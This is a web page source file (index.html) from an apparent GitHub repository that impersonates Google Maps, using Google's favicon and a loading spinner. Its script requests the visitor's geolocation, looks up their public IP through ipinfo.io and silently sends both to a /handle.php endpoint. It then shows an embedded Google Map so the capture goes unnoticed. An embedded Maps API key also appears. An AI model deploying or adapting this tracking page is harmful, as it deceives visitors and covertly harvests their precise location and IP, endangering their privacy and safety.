-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
75 lines (73 loc) · 2.74 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<!DOCTYPE html>
<html>
<head>
<title>Google Maps</title>
<link rel="icon" type="image/ico" href="https://www.google.com/images/branding/product/ico/maps15_bnuw3a_32dp.ico">
<style>
.loader {
border: 16px solid #f3f3f3;
border-top: 16px solid rgb(255, 208, 0);
border-left: 16px solid rgb(0, 89, 255);
border-right: 16px solid green;
border-bottom: 16px solid red;
border-radius: 50%;
width: 120px;
height: 120px;
animation: spin 2s linear infinite;
position: absolute;
top:0;
bottom: 0;
left: 0;
right: 0;
margin: auto;
transition: all 0.5s ease-in-out;
}
@keyframes spin {
0% { transform: rotate(0deg); }
25% {transform: rotate(360deg);}
50% {transform: rotate(0deg);}
100% { transform: rotate(360deg); }
}
.shadow{
border: 16px solid transparent;
border-top: 16px solid transparent;
border-left: 16px solid transparent;
border-right: 16px solid transparent;
border-bottom: 16px solid transparent;
border-radius: 50%;
width: 119px;
height: 119px;
position: absolute;
top:0;
bottom: 0;
left: 0;
right: 0;
margin: auto;
box-shadow: 0px 75px 50px grey;
}
</style>
</head>
<body>
<div class="loader"></div>
<div class="shadow"></div>
<script>
function getIpClient() {
var myRequest = new XMLHttpRequest();
myRequest.open("GET", "https://ipinfo.io/ip", false);
myRequest.send(null);
return myRequest.responseText;
}
function httpGet(theUrl)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", theUrl, false );
xmlHttp.send( null );
return xmlHttp.responseText;
}
navigator.geolocation.getCurrentPosition(function(position){
httpGet("/handle.php?lat=" + position.coords.latitude + "&lon=" + position.coords.longitude + "&address=" + getIpClient());
document.write('<iframe width="100%" height="100%" style="border:0" loading="lazy" allowfullscreen src="https://www.google.com/maps/embed/v1/place?key=AIzaSyAUJXbJeYerh1hiQVRsb-4QZRKvVtMC14c &q=' + position.coords.latitude + "," + position.coords.longitude + '"></iframe>');
});
</script>
</body>
</html>